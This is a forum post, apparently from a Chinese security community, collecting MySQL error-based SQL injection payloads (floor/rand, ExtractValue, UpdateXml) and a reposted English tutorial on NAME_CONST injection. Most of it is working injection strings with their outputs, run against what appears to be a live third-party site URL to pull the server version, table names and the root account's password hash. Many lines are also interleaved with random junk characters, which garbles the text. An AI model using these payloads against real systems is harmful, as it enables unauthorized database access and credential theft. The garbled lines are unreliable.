找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3457|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
: C" ~5 w6 s. O, C首先进行正常查询:

mysql> select * from article where id = 1;; D, K1 T$ T0 e: E
+—-+——-+———+9 n8 R* R: q4 ]$ \7 n8 d
| id | title | content |, X/ j3 ]7 @; l& Z
+—-+——-+———+
& K3 b9 H3 w4 ]8 q|  1 | test  | do it   |: h/ H/ X; y8 v) N8 [) _7 W
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
( W9 L/ `5 d1 |) f) \* RERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
; H9 ^+ E  H( e' m! _例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);! o/ Z- G+ j3 P/ v
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
( Y) G4 j" a# A! BERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue8 i% p( G( C& I2 y
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
0 |3 P, `( p( [ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

4 H+ `, Z  z6 r. J+ A; N* d% Q- L

' i% p8 @$ @9 [: }2 \3 y2 I

再收集:


! Q* a% C  s- I& y" u6 C7 ghttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 6 u9 S) N0 S! C, M6 P
% s" I/ W$ N3 e& P5 X$ y1 a) D
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’' C) W. X+ Y1 B& l4 k! v

( s4 i0 Y0 ^- W+ g5 T3 z' S; ahttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)2 D4 j0 @5 [5 K. G- r5 ^/ E
7 L9 F% C& ?0 L% q& `& {$ @
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
+ |9 j! j) Z( ^0 k, Z
9 v+ V+ f5 A- q) w) b! [# P- iMYSQL高版本报错注入技巧-利用NAME_CONST注入  ?  u5 j/ ?) h' Q3 _% r" e- I% ~
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
' p) h* x6 t' r( X" a( B, i4 c" m0 c1 w$ ]- }( S- _/ a5 r
5 z; d% r; T, S6 q; U7 H/ Q/ u9 ?
相关信息
3 P* q$ @+ R- H; z4 b) L+ M) [5 s1 [0 c! a5 P
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
: D$ h% b& u. i# n/ D" Z% y3 M6 r  b
- S  N6 a  @& iCode:
5 t  \. B2 g9 q3 X- p* e, jNAME_CONST(DATA, VALUE)8 f# \5 Q' W" `) l1 T, s& T/ G
1 _( |1 c+ z5 i# A4 d
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.. X3 R. A+ `/ u& e
6 X; G4 @9 W$ ?" ^  \. D3 j2 a; J
SELECT NAME_CONST('TEST', 1)  O4 Q4 X  z# G# Z' \/ D* n

0 Z% P; ~$ }; Z( A( a2 j$ {) q! g- x  Q% \0 S- \

2 ^6 D3 t4 `- ?* H|---------------|1 p' B+ O7 c! N# h1 U
|     TEST      |
% k; ~) d6 C8 v3 u9 f% a4 x( f6 f|               |
, B6 C$ u0 Q% Y0 B+ p# z  t|---------------|
. Z" ?' s& I4 ]9 ^+ }|       1       |( n+ }6 A% s; Q4 c* Y  F8 N1 |
|               |. t2 b) H/ D- S- A: i8 j$ k# Z
|---------------|
- |0 N2 s# ^  [0 w+ t( H$ x" b% B  w
' ^# e$ `# |1 x/ V; S$ b

, q1 B1 P. p$ q, A- L7 A( q6 j4 }; g2 P: A1 N: X
9 {! B+ P& s5 S% t  p* O
http://dev.mysql.com/doc/refman/5.0/en/m...name-const* [% B) n0 A% ~; @5 j" z
Intro to MySQL Variables
; C' m# }' ^8 b& t/ q5 I/ Z
# _; ?  {+ Z+ ?Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
5 ^6 _' Z! s+ ?( k1 M
0 _3 }! ^, s' h' ~' GCode:0 i( {* p. j& d/ x, C
http://www.baido.hk/qcwh/content ... ;sid=19&cid=2616 t$ V* y* I' x6 q2 N" S

$ o+ P; A8 h0 V7 F+ ?, q) {

3 Z2 l; N+ N- q6 N4 N( C6 j& X
" I' U9 a: L0 b- U+ J, `

) L: O/ X$ y7 k3 x
) D" S; ~0 o& }) @# fCode:
4 O) Q* i1 ^8 Mand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
+ ^) U" a+ _2 @0 _. v
# z) j9 {' C. [# A9 n

" V" t! m) D9 Q2 F) l, n7 }. j8 xVAR = Your MySQL variable.
9 g6 f- I2 m4 X  `) v& Y
5 b- \  W: L& d) aMySQL 5.1.3 Server System Variables4 g6 @" \& b7 a2 V/ q; P# X

+ r' p% J& i) T/ @) w% \' ]Let's try it out on my site.., C% T* ?/ U& p$ L# x+ d$ p
  V: f5 m2 Z2 O4 N3 c, ?
Code:# ]) M; ?6 X/ P% j- L; _, \
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--' P8 N9 }( K% Y& h

3 P0 V% {; b# I5 g3 W; r$ AErroruplicate column name '5.0.27-community-nt'& s- ]7 u' }- _' k9 S6 M

7 e( w- I: k% R& `  J8 b: U
/ u/ x* `  }1 Y/ T" V- x$ q( g, Y" M2 h

2 {6 A% G2 P) k- a) [% ]: V6 U% p4 ?1 T7 h4 C% J4 A
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
1 ^9 I+ U$ q. i8 {2 N, k: \; _2 x& K* X$ C2 I* e* N
Data Extraction
8 X& O! B% }% [1 L9 t8 g$ W
/ `0 e, ~* S! p" H% ACode:
0 S* R( s; L+ Z' S. [7 [2 `* a+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--* A# d" y( Z7 R: W, l
6 \) {9 r( F/ w1 S+ c# S
0 T  z( e+ ^3 x& |3 q: `$ R5 n, `
We should get a duplicate column 1 error...- m3 x2 |7 [+ \  ?/ r/ m/ Y/ q- x
* K$ F6 G7 ~$ S' N. e: P
Code:
# D% i! [0 I6 p0 Yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
3 C4 k; W; ]: L7 A# `
5 {' Z% v# [1 lErroruplicate column name '13 c9 a# N  G# x. e
' c, j* P2 U8 r& Q+ E- p
# J6 n  G+ V& |' a& n

6 v7 K% M+ x$ E8 ~8 X, q1 P' T0 S7 c5 ]' ~( H. R+ H* t: \4 p1 A

! t) C! P. C1 r* Q1 @6 D# m4 M. v% t) c1 R/ @
Now let's get the tables out this bitch..
: v& D7 ]6 g$ P7 M1 t
& P6 r0 P, \' Z& J8 h0 E# uCode:
3 }* d& ^: a' v$ t* f+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--) x* {" ?0 ~1 h5 ~7 i& U) X

0 Q8 t. I6 s4 @
3 F  K* r, F: Y5 R3 }, LLet's see if it works here, if it does, we can go on and finish the job.
8 l( h* R0 g) @" [% S* W, W( M$ P8 _% ?1 @0 k/ e  u* D
Code:  [, D' Q8 B' q
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
# w. v' v# _3 L8 i, @$ g6 M2 \& n: r! W6 d' U' Z- e

( _7 }6 {" x5 BErroruplicate column name 'com_admanage
4 {* N- P8 t5 x- ~! R! w
3 Y; C8 x+ z" F7 c+ P. v2 J

7 l: N- ^0 ?& f1 B: L1 e+ K
/ q! N% A/ a* A' h! l7 H
$ P, T) J+ w+ z1 |! D0 y9 ^+ L' m

# y1 L# X9 j, |% e  f
+ B+ H. _  J6 w6 B" O* ~Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.- i$ ^% x( R0 o

& _' g* M  Y6 g: k" Y8 ]Let's get the columns out of the user table..
6 Z7 f! [: c; {8 F6 V( E0 D! Z- Q4 r
Code:
, \. ]/ ~! f0 Z+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
! e/ R) P0 G5 e( Z: A- p. i
* Y- j% B$ h1 |8 E! Y8 y

0 A6 w) |$ S( a& A5 m! a, BSo mine looks like this, and I get the duplicate column name 'Host'., z0 O7 F, j4 l' y3 M8 f7 _

2 J5 G2 w5 Q! {9 f! A, S+ UCode:
) g8 W6 n' O7 d. qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--' C& {1 _, Z* c, A$ m
" d/ q/ w5 b  y$ S
Erroruplicate column name 'Host'. y. ?, N: z7 w, o7 @
# _5 _/ ], S& @( S  q0 P7 m" F
5 \$ S( V3 V- g! R
; O8 n5 z( B; _" A

, p' u1 Z8 m- a; [2 k4 E

- H7 k; }% J+ n8 e- ?
$ n4 e) B% h- e: S: q0 V7 ?Woot, time to finish this bitch off." ?8 ^- J" |2 j7 D, X: ?* C9 E) E% K
7 g+ L6 Z8 @$ i* w/ u0 p' i
Code:" A  r3 b" y+ ^9 X1 Z& K/ T% P
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--) A4 h9 w3 u+ B& z

+ N8 d% i+ |- r
& i1 ]7 P- t- u9 _  N# vSo mine looks like this...
8 g8 R- F- s! |4 m( F0 V- y4 }0 o  G' p4 c/ c& u  A5 |) v
Code:
- U. ]  c; _9 ]http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
: b3 x5 d7 j7 M0 C
/ o/ H7 `. A1 b+ M# t9 O* fErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% P  M* g0 z$ @* b8 v( s% T
+ v- [/ |& {* ~7 M4 b

# W$ L  Y: ^4 I2 t. z1 y- u; h9 r$ ] + {+ B4 h0 Q& G9 z

( s9 B3 v% {0 b1 H0 O9 Y

; I, T; ^: O6 Q% _$ [. f
8 ]2 E" C/ ?/ gAnd there we have it, thanks for reading.
1 r" G% m  G- x
8 d1 b; F! m% _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表